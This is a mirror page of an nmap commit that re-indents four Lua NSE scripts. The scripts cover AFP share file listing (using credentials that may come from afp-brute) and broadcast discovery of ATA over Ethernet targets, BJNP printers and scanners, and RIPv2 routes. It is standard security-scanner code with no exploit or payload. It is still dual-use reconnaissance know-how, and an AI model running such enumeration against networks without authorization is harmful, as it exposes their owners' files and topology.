mirror of
https://github.com/nmap/nmap.git
synced 2025-12-09 06:01:28 +00:00
Re-indent some scripts. Whitespace-only commit
https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
@@ -66,105 +66,105 @@ dependencies = {"afp-brute"}
|
|||||||
portrule = shortport.portnumber(548, "tcp")
|
portrule = shortport.portnumber(548, "tcp")
|
||||||
|
|
||||||
local function createFileTable()
|
local function createFileTable()
|
||||||
local filetab = tab.new()
|
local filetab = tab.new()
|
||||||
|
|
||||||
tab.add(filetab, 1, "PERMISSION")
|
tab.add(filetab, 1, "PERMISSION")
|
||||||
tab.add(filetab, 2, "UID")
|
tab.add(filetab, 2, "UID")
|
||||||
tab.add(filetab, 3, "GID")
|
tab.add(filetab, 3, "GID")
|
||||||
tab.add(filetab, 4, "SIZE")
|
tab.add(filetab, 4, "SIZE")
|
||||||
tab.add(filetab, 5, "TIME")
|
tab.add(filetab, 5, "TIME")
|
||||||
tab.add(filetab, 6, "FILENAME")
|
tab.add(filetab, 6, "FILENAME")
|
||||||
tab.nextrow(filetab)
|
tab.nextrow(filetab)
|
||||||
|
|
||||||
return filetab
|
return filetab
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local afpHelper = afp.Helper:new()
|
local afpHelper = afp.Helper:new()
|
||||||
local args = nmap.registry.args
|
local args = nmap.registry.args
|
||||||
local users = nmap.registry.afp or { ['nil'] = 'nil' }
|
local users = nmap.registry.afp or { ['nil'] = 'nil' }
|
||||||
local maxfiles = tonumber(stdnse.get_script_args("afp-ls.maxfiles") or 10)
|
local maxfiles = tonumber(stdnse.get_script_args("afp-ls.maxfiles") or 10)
|
||||||
local output = {}
|
local output = {}
|
||||||
|
|
||||||
if ( args['afp.username'] ) then
|
if ( args['afp.username'] ) then
|
||||||
users = {}
|
users = {}
|
||||||
users[args['afp.username']] = args['afp.password']
|
users[args['afp.username']] = args['afp.password']
|
||||||
end
|
end
|
||||||
|
|
||||||
for username, password in pairs(users) do
|
for username, password in pairs(users) do
|
||||||
|
|
||||||
local status, response = afpHelper:OpenSession(host, port)
|
local status, response = afpHelper:OpenSession(host, port)
|
||||||
if ( not status ) then
|
if ( not status ) then
|
||||||
stdnse.print_debug(response)
|
stdnse.print_debug(response)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- if we have a username attempt to authenticate as the user
|
-- if we have a username attempt to authenticate as the user
|
||||||
-- Attempt to use No User Authentication?
|
-- Attempt to use No User Authentication?
|
||||||
if ( username ~= 'nil' ) then
|
if ( username ~= 'nil' ) then
|
||||||
status, response = afpHelper:Login(username, password)
|
status, response = afpHelper:Login(username, password)
|
||||||
else
|
else
|
||||||
status, response = afpHelper:Login()
|
status, response = afpHelper:Login()
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not status ) then
|
if ( not status ) then
|
||||||
stdnse.print_debug("afp-showmount: Login failed", response)
|
stdnse.print_debug("afp-showmount: Login failed", response)
|
||||||
stdnse.print_debug(3, "afp-showmount: Login error: %s", response)
|
stdnse.print_debug(3, "afp-showmount: Login error: %s", response)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local vols
|
local vols
|
||||||
status, vols = afpHelper:ListShares()
|
status, vols = afpHelper:ListShares()
|
||||||
|
|
||||||
if status then
|
if status then
|
||||||
for _, vol in ipairs( vols ) do
|
for _, vol in ipairs( vols ) do
|
||||||
local status, tbl = afpHelper:Dir( vol )
|
local status, tbl = afpHelper:Dir( vol )
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return ("\n\nERROR: Failed to list the contents of %s"):format(vol)
|
return ("\n\nERROR: Failed to list the contents of %s"):format(vol)
|
||||||
end
|
end
|
||||||
|
|
||||||
local file_tab = createFileTable()
|
local file_tab = createFileTable()
|
||||||
local counter = maxfiles or 10
|
local counter = maxfiles or 10
|
||||||
for _, item in ipairs(tbl[1]) do
|
for _, item in ipairs(tbl[1]) do
|
||||||
if ( item and item.name ) then
|
if ( item and item.name ) then
|
||||||
local status, result = afpHelper:GetFileUnixPermissions( vol, item.name )
|
local status, result = afpHelper:GetFileUnixPermissions( vol, item.name )
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
local status, fsize = afpHelper:GetFileSize( vol, item.name)
|
local status, fsize = afpHelper:GetFileSize( vol, item.name)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return ("\n\nERROR: Failed to retreive file size for %/%s"):format(vol, item.name)
|
return ("\n\nERROR: Failed to retreive file size for %/%s"):format(vol, item.name)
|
||||||
end
|
end
|
||||||
local status, date = afpHelper:GetFileDates( vol, item.name)
|
local status, date = afpHelper:GetFileDates( vol, item.name)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return ("\n\nERROR: Failed to retreive file dates for %/%s"):format(vol, item.name)
|
return ("\n\nERROR: Failed to retreive file dates for %/%s"):format(vol, item.name)
|
||||||
end
|
end
|
||||||
|
|
||||||
tab.addrow(file_tab, result.privs, result.uid, result.gid, fsize, date.create, item.name)
|
tab.addrow(file_tab, result.privs, result.uid, result.gid, fsize, date.create, item.name)
|
||||||
|
|
||||||
counter = counter - 1
|
counter = counter - 1
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if ( counter == 0 ) then break end
|
if ( counter == 0 ) then break end
|
||||||
end
|
end
|
||||||
local result_part = { name = vol }
|
local result_part = { name = vol }
|
||||||
table.insert(result_part, tab.dump(file_tab))
|
table.insert(result_part, tab.dump(file_tab))
|
||||||
table.insert(output, result_part)
|
table.insert(output, result_part)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
status, response = afpHelper:Logout()
|
status, response = afpHelper:Logout()
|
||||||
status, response = afpHelper:CloseSession()
|
status, response = afpHelper:CloseSession()
|
||||||
|
|
||||||
-- stop after first succesfull attempt
|
-- stop after first succesfull attempt
|
||||||
if ( output and #output > 0 ) then
|
if ( output and #output > 0 ) then
|
||||||
table.insert(output, "")
|
table.insert(output, "")
|
||||||
table.insert(output, ("Information retrieved as: %s"):format(username))
|
table.insert(output, ("Information retrieved as: %s"):format(username))
|
||||||
if ( maxfiles > 0 ) then
|
if ( maxfiles > 0 ) then
|
||||||
table.insert(output, ("Output restricted to %d entries per volume. (See afp-ls.maxfiles)"):format(maxfiles))
|
table.insert(output, ("Output restricted to %d entries per volume. (See afp-ls.maxfiles)"):format(maxfiles))
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, output)
|
return stdnse.format_output(true, output)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -37,140 +37,140 @@ prerule = function() return true end
|
|||||||
-- The minimalistic ATAoE interface
|
-- The minimalistic ATAoE interface
|
||||||
ATAoE = {
|
ATAoE = {
|
||||||
|
|
||||||
-- Supported commands
|
-- Supported commands
|
||||||
Cmd = {
|
Cmd = {
|
||||||
QUERY_CONFIG_INFORMATION = 1,
|
QUERY_CONFIG_INFORMATION = 1,
|
||||||
},
|
},
|
||||||
|
|
||||||
Header = {
|
Header = {
|
||||||
-- creates a new Header instance
|
-- creates a new Header instance
|
||||||
new = function(self, cmd, tag)
|
new = function(self, cmd, tag)
|
||||||
local o = {
|
local o = {
|
||||||
version = 1,
|
version = 1,
|
||||||
flags = 0,
|
flags = 0,
|
||||||
major = 0xffff,
|
major = 0xffff,
|
||||||
minor = 0xff,
|
minor = 0xff,
|
||||||
error = 0,
|
error = 0,
|
||||||
cmd = ATAoE.Cmd.QUERY_CONFIG_INFORMATION,
|
cmd = ATAoE.Cmd.QUERY_CONFIG_INFORMATION,
|
||||||
tag = tag or createRandomTag(),
|
tag = tag or createRandomTag(),
|
||||||
}
|
}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- parses a raw string of data and creates a new Header instance
|
-- parses a raw string of data and creates a new Header instance
|
||||||
-- @return header new instance of header
|
-- @return header new instance of header
|
||||||
parse = function(data)
|
parse = function(data)
|
||||||
local header = ATAoE.Header:new()
|
local header = ATAoE.Header:new()
|
||||||
local pos, verflags
|
local pos, verflags
|
||||||
|
|
||||||
pos, verflags, header.error,
|
pos, verflags, header.error,
|
||||||
header.major, header.minor,
|
header.major, header.minor,
|
||||||
header.cmd, header.tag = bin.unpack(">CCSCCI", data)
|
header.cmd, header.tag = bin.unpack(">CCSCCI", data)
|
||||||
header.version = bit.rshift(verflags, 4)
|
header.version = bit.rshift(verflags, 4)
|
||||||
header.flags = bit.band(verflags, 0x0F)
|
header.flags = bit.band(verflags, 0x0F)
|
||||||
return header
|
return header
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- return configuration info request as string
|
-- return configuration info request as string
|
||||||
__tostring = function(self)
|
__tostring = function(self)
|
||||||
assert(self.tag, "No tag was specified in Config Info Request")
|
assert(self.tag, "No tag was specified in Config Info Request")
|
||||||
local verflags = bit.lshift(self.version, 4)
|
local verflags = bit.lshift(self.version, 4)
|
||||||
return bin.pack(">CCSCCI", verflags, self.error, self.major, self.minor, self.cmd, self.tag)
|
return bin.pack(">CCSCCI", verflags, self.error, self.major, self.minor, self.cmd, self.tag)
|
||||||
end,
|
end,
|
||||||
},
|
},
|
||||||
|
|
||||||
-- The Configuration Info Request
|
-- The Configuration Info Request
|
||||||
ConfigInfoRequest = {
|
ConfigInfoRequest = {
|
||||||
new = function(self, tag)
|
new = function(self, tag)
|
||||||
local o = {
|
local o = {
|
||||||
header = ATAoE.Header:new(ATAoE.Cmd.QUERY_CONFIG_INFORMATION, tag)
|
header = ATAoE.Header:new(ATAoE.Cmd.QUERY_CONFIG_INFORMATION, tag)
|
||||||
}
|
}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
__tostring = function(self)
|
__tostring = function(self)
|
||||||
return tostring(self.header)
|
return tostring(self.header)
|
||||||
end,
|
end,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
-- Creates a random AoE header tag
|
-- Creates a random AoE header tag
|
||||||
function createRandomTag()
|
function createRandomTag()
|
||||||
local str = ""
|
local str = ""
|
||||||
for i=1, 4 do str = str .. string.char(math.random(255)) end
|
for i=1, 4 do str = str .. string.char(math.random(255)) end
|
||||||
return select(2, bin.unpack(">I", str))
|
return select(2, bin.unpack(">I", str))
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Send a Config Info Request to the ethernet broadcast address
|
-- Send a Config Info Request to the ethernet broadcast address
|
||||||
-- @param iface table as returned by nmap.get_interface_info()
|
-- @param iface table as returned by nmap.get_interface_info()
|
||||||
local function sendConfigInfoRequest(iface)
|
local function sendConfigInfoRequest(iface)
|
||||||
local ETHER_BROADCAST, P_ATAOE = "ff:ff:ff:ff:ff:ff", 0x88a2
|
local ETHER_BROADCAST, P_ATAOE = "ff:ff:ff:ff:ff:ff", 0x88a2
|
||||||
local req = ATAoE.ConfigInfoRequest:new()
|
local req = ATAoE.ConfigInfoRequest:new()
|
||||||
local tag = req.tag
|
local tag = req.tag
|
||||||
|
|
||||||
local p = packet.Frame:new()
|
local p = packet.Frame:new()
|
||||||
p.mac_src = iface.mac
|
p.mac_src = iface.mac
|
||||||
p.mac_dst = packet.mactobin(ETHER_BROADCAST)
|
p.mac_dst = packet.mactobin(ETHER_BROADCAST)
|
||||||
p.ether_type = bin.pack(">S", P_ATAOE)
|
p.ether_type = bin.pack(">S", P_ATAOE)
|
||||||
p.buf = tostring(req)
|
p.buf = tostring(req)
|
||||||
p:build_ether_frame()
|
p:build_ether_frame()
|
||||||
|
|
||||||
local dnet = nmap.new_dnet()
|
local dnet = nmap.new_dnet()
|
||||||
dnet:ethernet_open(iface.device)
|
dnet:ethernet_open(iface.device)
|
||||||
dnet:ethernet_send(p.frame_buf)
|
dnet:ethernet_send(p.frame_buf)
|
||||||
dnet:ethernet_close()
|
dnet:ethernet_close()
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
local iname = nmap.get_interface()
|
local iname = nmap.get_interface()
|
||||||
if ( not(iname) ) then
|
if ( not(iname) ) then
|
||||||
stdnse.print_debug("%s: No interface supplied, use -e", SCRIPT_NAME)
|
stdnse.print_debug("%s: No interface supplied, use -e", SCRIPT_NAME)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(nmap.is_privileged()) ) then
|
if ( not(nmap.is_privileged()) ) then
|
||||||
stdnse.print_debug("%s: not running for lack of privileges", SCRIPT_NAME)
|
stdnse.print_debug("%s: not running for lack of privileges", SCRIPT_NAME)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local iface = nmap.get_interface_info(iname)
|
local iface = nmap.get_interface_info(iname)
|
||||||
if ( not(iface) ) then
|
if ( not(iface) ) then
|
||||||
return fail("Failed to retrieve interface information")
|
return fail("Failed to retrieve interface information")
|
||||||
end
|
end
|
||||||
|
|
||||||
local pcap = nmap.new_socket()
|
local pcap = nmap.new_socket()
|
||||||
pcap:set_timeout(5000)
|
pcap:set_timeout(5000)
|
||||||
pcap:pcap_open(iface.device, 1500, true, "ether proto 0x88a2 && !ether src " .. stdnse.format_mac(iface.mac))
|
pcap:pcap_open(iface.device, 1500, true, "ether proto 0x88a2 && !ether src " .. stdnse.format_mac(iface.mac))
|
||||||
|
|
||||||
sendConfigInfoRequest(iface)
|
sendConfigInfoRequest(iface)
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
repeat
|
repeat
|
||||||
local status, len, l2_data, l3_data = pcap:pcap_receive()
|
local status, len, l2_data, l3_data = pcap:pcap_receive()
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
local header = ATAoE.Header.parse(l3_data)
|
local header = ATAoE.Header.parse(l3_data)
|
||||||
local f = packet.Frame:new(l2_data)
|
local f = packet.Frame:new(l2_data)
|
||||||
f:ether_parse()
|
f:ether_parse()
|
||||||
|
|
||||||
local str = ("Server: %s; Version: %d; Major: %d; Minor: %d"):format(
|
local str = ("Server: %s; Version: %d; Major: %d; Minor: %d"):format(
|
||||||
stdnse.format_mac(f.mac_src),
|
stdnse.format_mac(f.mac_src),
|
||||||
header.version,
|
header.version,
|
||||||
header.major,
|
header.major,
|
||||||
header.minor)
|
header.minor)
|
||||||
table.insert(result, str)
|
table.insert(result, str)
|
||||||
end
|
end
|
||||||
until( not(status) )
|
until( not(status) )
|
||||||
pcap:pcap_close()
|
pcap:pcap_close()
|
||||||
|
|
||||||
if ( #result > 0 ) then
|
if ( #result > 0 ) then
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -44,131 +44,131 @@ local scanner_port = { number = 8612, protocol = "udp"}
|
|||||||
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||||
|
|
||||||
prerule = function()
|
prerule = function()
|
||||||
if ( nmap.address_family() ~= 'inet' ) then
|
if ( nmap.address_family() ~= 'inet' ) then
|
||||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
local function identifyDevices(devices, devtype)
|
local function identifyDevices(devices, devtype)
|
||||||
local result
|
local result
|
||||||
local port = ( "printers" == devtype and printer_port or scanner_port )
|
local port = ( "printers" == devtype and printer_port or scanner_port )
|
||||||
for _, ip in ipairs(devices or {}) do
|
for _, ip in ipairs(devices or {}) do
|
||||||
local helper = bjnp.Helper:new({ ip = ip }, port)
|
local helper = bjnp.Helper:new({ ip = ip }, port)
|
||||||
if ( helper:connect() ) then
|
if ( helper:connect() ) then
|
||||||
local status, attrs
|
local status, attrs
|
||||||
if ( "printers" == devtype ) then
|
if ( "printers" == devtype ) then
|
||||||
status, attrs = helper:getPrinterIdentity()
|
status, attrs = helper:getPrinterIdentity()
|
||||||
end
|
end
|
||||||
if ( "scanners" == devtype ) then
|
if ( "scanners" == devtype ) then
|
||||||
status, attrs = helper:getScannerIdentity()
|
status, attrs = helper:getScannerIdentity()
|
||||||
end
|
end
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
result = result or {}
|
result = result or {}
|
||||||
result[ip] = attrs
|
result[ip] = attrs
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
helper:close()
|
helper:close()
|
||||||
end
|
end
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
local function identifyScanners(scanners)
|
local function identifyScanners(scanners)
|
||||||
return identifyDevices(scanners, "scanners")
|
return identifyDevices(scanners, "scanners")
|
||||||
end
|
end
|
||||||
|
|
||||||
local function identifyPrinters(printers)
|
local function identifyPrinters(printers)
|
||||||
return identifyDevices(printers, "printers")
|
return identifyDevices(printers, "printers")
|
||||||
end
|
end
|
||||||
|
|
||||||
local function getKeys(devices)
|
local function getKeys(devices)
|
||||||
local dupes = {}
|
local dupes = {}
|
||||||
local function iter()
|
local function iter()
|
||||||
for k, _ in pairs(devices) do
|
for k, _ in pairs(devices) do
|
||||||
for k2, _ in pairs(devices[k]) do
|
for k2, _ in pairs(devices[k]) do
|
||||||
if ( not(dupes[k2]) ) then
|
if ( not(dupes[k2]) ) then
|
||||||
dupes[k2] = true
|
dupes[k2] = true
|
||||||
coroutine.yield(k2)
|
coroutine.yield(k2)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
coroutine.yield(nil)
|
coroutine.yield(nil)
|
||||||
end
|
end
|
||||||
return coroutine.wrap(iter)
|
return coroutine.wrap(iter)
|
||||||
end
|
end
|
||||||
|
|
||||||
local function getPrinters(devices)
|
local function getPrinters(devices)
|
||||||
local condvar = nmap.condvar(devices)
|
local condvar = nmap.condvar(devices)
|
||||||
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, printer_port, { bcast = true, timeout = arg_timeout } )
|
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, printer_port, { bcast = true, timeout = arg_timeout } )
|
||||||
if ( not(helper:connect()) ) then
|
if ( not(helper:connect()) ) then
|
||||||
condvar "signal"
|
condvar "signal"
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
local status, printers = helper:discoverPrinter()
|
local status, printers = helper:discoverPrinter()
|
||||||
helper:close()
|
helper:close()
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
devices["printers"] = identifyPrinters(printers)
|
devices["printers"] = identifyPrinters(printers)
|
||||||
end
|
end
|
||||||
condvar "signal"
|
condvar "signal"
|
||||||
end
|
end
|
||||||
|
|
||||||
local function getScanners(devices)
|
local function getScanners(devices)
|
||||||
local condvar = nmap.condvar(devices)
|
local condvar = nmap.condvar(devices)
|
||||||
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, scanner_port, { bcast = true, timeout = arg_timeout } )
|
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, scanner_port, { bcast = true, timeout = arg_timeout } )
|
||||||
if ( not(helper:connect()) ) then
|
if ( not(helper:connect()) ) then
|
||||||
condvar "signal"
|
condvar "signal"
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
local status, scanners = helper:discoverScanner()
|
local status, scanners = helper:discoverScanner()
|
||||||
helper:close()
|
helper:close()
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
devices["scanners"] = identifyScanners(scanners)
|
devices["scanners"] = identifyScanners(scanners)
|
||||||
end
|
end
|
||||||
condvar "signal"
|
condvar "signal"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
arg_timeout = ( arg_timeout and arg_timeout * 1000 or 5000)
|
arg_timeout = ( arg_timeout and arg_timeout * 1000 or 5000)
|
||||||
local devices, result, threads = {}, {}, {}
|
local devices, result, threads = {}, {}, {}
|
||||||
local condvar = nmap.condvar(devices)
|
local condvar = nmap.condvar(devices)
|
||||||
|
|
||||||
local co = stdnse.new_thread(getPrinters, devices)
|
local co = stdnse.new_thread(getPrinters, devices)
|
||||||
threads[co] = true
|
threads[co] = true
|
||||||
|
|
||||||
co = stdnse.new_thread(getScanners, devices)
|
co = stdnse.new_thread(getScanners, devices)
|
||||||
threads[co] = true
|
threads[co] = true
|
||||||
|
|
||||||
while(next(threads)) do
|
while(next(threads)) do
|
||||||
for t in pairs(threads) do
|
for t in pairs(threads) do
|
||||||
threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil
|
threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil
|
||||||
end
|
end
|
||||||
if ( next(threads) ) then
|
if ( next(threads) ) then
|
||||||
condvar "wait"
|
condvar "wait"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
for ip in getKeys(devices) do
|
for ip in getKeys(devices) do
|
||||||
local result_part = {}
|
local result_part = {}
|
||||||
local printer = ( devices["printers"] and devices["printers"][ip] )
|
local printer = ( devices["printers"] and devices["printers"][ip] )
|
||||||
local scanner = ( devices["scanners"] and devices["scanners"][ip] )
|
local scanner = ( devices["scanners"] and devices["scanners"][ip] )
|
||||||
|
|
||||||
if ( printer ) then
|
if ( printer ) then
|
||||||
printer.name = "Printer"
|
printer.name = "Printer"
|
||||||
table.insert(result_part, printer)
|
table.insert(result_part, printer)
|
||||||
end
|
end
|
||||||
if ( scanner ) then
|
if ( scanner ) then
|
||||||
scanner.name = "Scanner"
|
scanner.name = "Scanner"
|
||||||
table.insert(result_part, scanner)
|
table.insert(result_part, scanner)
|
||||||
end
|
end
|
||||||
if ( #result_part > 0 ) then
|
if ( #result_part > 0 ) then
|
||||||
result_part.name = ip
|
result_part.name = ip
|
||||||
table.insert(result, result_part)
|
table.insert(result, result_part)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( result ) then
|
if ( result ) then
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -48,134 +48,134 @@ prerule = function() return not( nmap.address_family() == "inet6") end
|
|||||||
|
|
||||||
RIPv2 = {
|
RIPv2 = {
|
||||||
|
|
||||||
Command = {
|
Command = {
|
||||||
Request = 1,
|
Request = 1,
|
||||||
Response = 2,
|
Response = 2,
|
||||||
},
|
},
|
||||||
|
|
||||||
AddressFamily = {
|
AddressFamily = {
|
||||||
IP = 2,
|
IP = 2,
|
||||||
},
|
},
|
||||||
|
|
||||||
-- The Request class contains functions to build a RIPv2 Request
|
-- The Request class contains functions to build a RIPv2 Request
|
||||||
Request = {
|
Request = {
|
||||||
|
|
||||||
-- Creates a new Request instance
|
-- Creates a new Request instance
|
||||||
--
|
--
|
||||||
-- @param command number containing the RIPv2 Command to use
|
-- @param command number containing the RIPv2 Command to use
|
||||||
-- @return o instance of request
|
-- @return o instance of request
|
||||||
new = function(self, command)
|
new = function(self, command)
|
||||||
local o = {
|
local o = {
|
||||||
version = 2,
|
version = 2,
|
||||||
command = command,
|
command = command,
|
||||||
domain = 0,
|
domain = 0,
|
||||||
family = 0,
|
family = 0,
|
||||||
tag = 0,
|
tag = 0,
|
||||||
address = 0,
|
address = 0,
|
||||||
subnet = 0,
|
subnet = 0,
|
||||||
nexthop = 0,
|
nexthop = 0,
|
||||||
metric = 16
|
metric = 16
|
||||||
}
|
}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- Converts the whole request to a string
|
-- Converts the whole request to a string
|
||||||
__tostring = function(self)
|
__tostring = function(self)
|
||||||
assert(self.command, "No command was supplied")
|
assert(self.command, "No command was supplied")
|
||||||
assert(self.metric, "No metric was supplied")
|
assert(self.metric, "No metric was supplied")
|
||||||
assert(self.address, "No address was supplied")
|
assert(self.address, "No address was supplied")
|
||||||
local RESERVED = 0
|
local RESERVED = 0
|
||||||
-- RIPv2 stuff, should be 0 for RIPv1
|
-- RIPv2 stuff, should be 0 for RIPv1
|
||||||
local tag, subnet, nexthop = 0, 0, 0
|
local tag, subnet, nexthop = 0, 0, 0
|
||||||
|
|
||||||
local data = bin.pack(">CCSSSIIII",
|
local data = bin.pack(">CCSSSIIII",
|
||||||
self.command, self.version, self.domain, self.family, self.tag,
|
self.command, self.version, self.domain, self.family, self.tag,
|
||||||
self.address, self.subnet, self.nexthop, self.metric)
|
self.address, self.subnet, self.nexthop, self.metric)
|
||||||
|
|
||||||
return data
|
return data
|
||||||
end,
|
end,
|
||||||
|
|
||||||
},
|
},
|
||||||
|
|
||||||
-- The Response class contains code needed to parse a RIPv2 response
|
-- The Response class contains code needed to parse a RIPv2 response
|
||||||
Response = {
|
Response = {
|
||||||
|
|
||||||
-- Creates a new Response instance based on raw socket data
|
-- Creates a new Response instance based on raw socket data
|
||||||
--
|
--
|
||||||
-- @param data string containing the raw socket response
|
-- @param data string containing the raw socket response
|
||||||
-- @return o Response instance
|
-- @return o Response instance
|
||||||
new = function(self, data)
|
new = function(self, data)
|
||||||
local o = { data = data }
|
local o = { data = data }
|
||||||
|
|
||||||
if ( not(data) or #data < 3 ) then
|
if ( not(data) or #data < 3 ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
local pos
|
local pos
|
||||||
pos, o.command, o.version = bin.unpack(">CCS", data)
|
pos, o.command, o.version = bin.unpack(">CCS", data)
|
||||||
if ( o.command ~= RIPv2 and o.version ~= 2 ) then
|
if ( o.command ~= RIPv2 and o.version ~= 2 ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local routes = tab.new(2)
|
local routes = tab.new(2)
|
||||||
tab.addrow(routes, "ip", "netmask", "nexthop", "metric")
|
tab.addrow(routes, "ip", "netmask", "nexthop", "metric")
|
||||||
|
|
||||||
while( #data - pos >= 20 ) do
|
while( #data - pos >= 20 ) do
|
||||||
local family, address, metric, _, netmask, nexthop
|
local family, address, metric, _, netmask, nexthop
|
||||||
pos, family, _, address, netmask, nexthop,
|
pos, family, _, address, netmask, nexthop,
|
||||||
metric = bin.unpack(">SS<III>I", data, pos)
|
metric = bin.unpack(">SS<III>I", data, pos)
|
||||||
|
|
||||||
if ( family == RIPv2.AddressFamily.IP ) then
|
if ( family == RIPv2.AddressFamily.IP ) then
|
||||||
local ip = ipOps.fromdword(address)
|
local ip = ipOps.fromdword(address)
|
||||||
netmask = ipOps.fromdword(netmask)
|
netmask = ipOps.fromdword(netmask)
|
||||||
nexthop = ipOps.fromdword(nexthop)
|
nexthop = ipOps.fromdword(nexthop)
|
||||||
tab.addrow(routes, ip, netmask, nexthop, metric)
|
tab.addrow(routes, ip, netmask, nexthop, metric)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( #routes > 1 ) then o.routes = routes end
|
if ( #routes > 1 ) then o.routes = routes end
|
||||||
|
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args('broadcast-rip-discover.timeout'))
|
local timeout = stdnse.parse_timespec(stdnse.get_script_args('broadcast-rip-discover.timeout'))
|
||||||
timeout = (timeout or 5) * 1000
|
timeout = (timeout or 5) * 1000
|
||||||
|
|
||||||
local socket = nmap.new_socket("udp")
|
local socket = nmap.new_socket("udp")
|
||||||
socket:set_timeout(timeout)
|
socket:set_timeout(timeout)
|
||||||
|
|
||||||
local rip = RIPv2.Request:new(RIPv2.Command.Request)
|
local rip = RIPv2.Request:new(RIPv2.Command.Request)
|
||||||
local status, err = socket:sendto("224.0.0.9",
|
local status, err = socket:sendto("224.0.0.9",
|
||||||
{ number = 520, protocol = "udp" },
|
{ number = 520, protocol = "udp" },
|
||||||
tostring(rip))
|
tostring(rip))
|
||||||
local result = {}
|
local result = {}
|
||||||
repeat
|
repeat
|
||||||
local data
|
local data
|
||||||
status, data = socket:receive()
|
status, data = socket:receive()
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
local status, _, _, rhost, _ = socket:get_info()
|
local status, _, _, rhost, _ = socket:get_info()
|
||||||
local response = RIPv2.Response:new(data)
|
local response = RIPv2.Response:new(data)
|
||||||
table.insert(result, rhost)
|
table.insert(result, rhost)
|
||||||
|
|
||||||
if ( response and response.routes and #response.routes > 0 ) then
|
if ( response and response.routes and #response.routes > 0 ) then
|
||||||
--response.routes.name = "Routes"
|
--response.routes.name = "Routes"
|
||||||
table.insert(result, { tab.dump(response.routes) } )
|
table.insert(result, { tab.dump(response.routes) } )
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
until( not(status) )
|
until( not(status) )
|
||||||
|
|
||||||
if ( #result > 0 ) then
|
if ( #result > 0 ) then
|
||||||
result.name = "Discovered RIPv2 devices"
|
result.name = "Discovered RIPv2 devices"
|
||||||
end
|
end
|
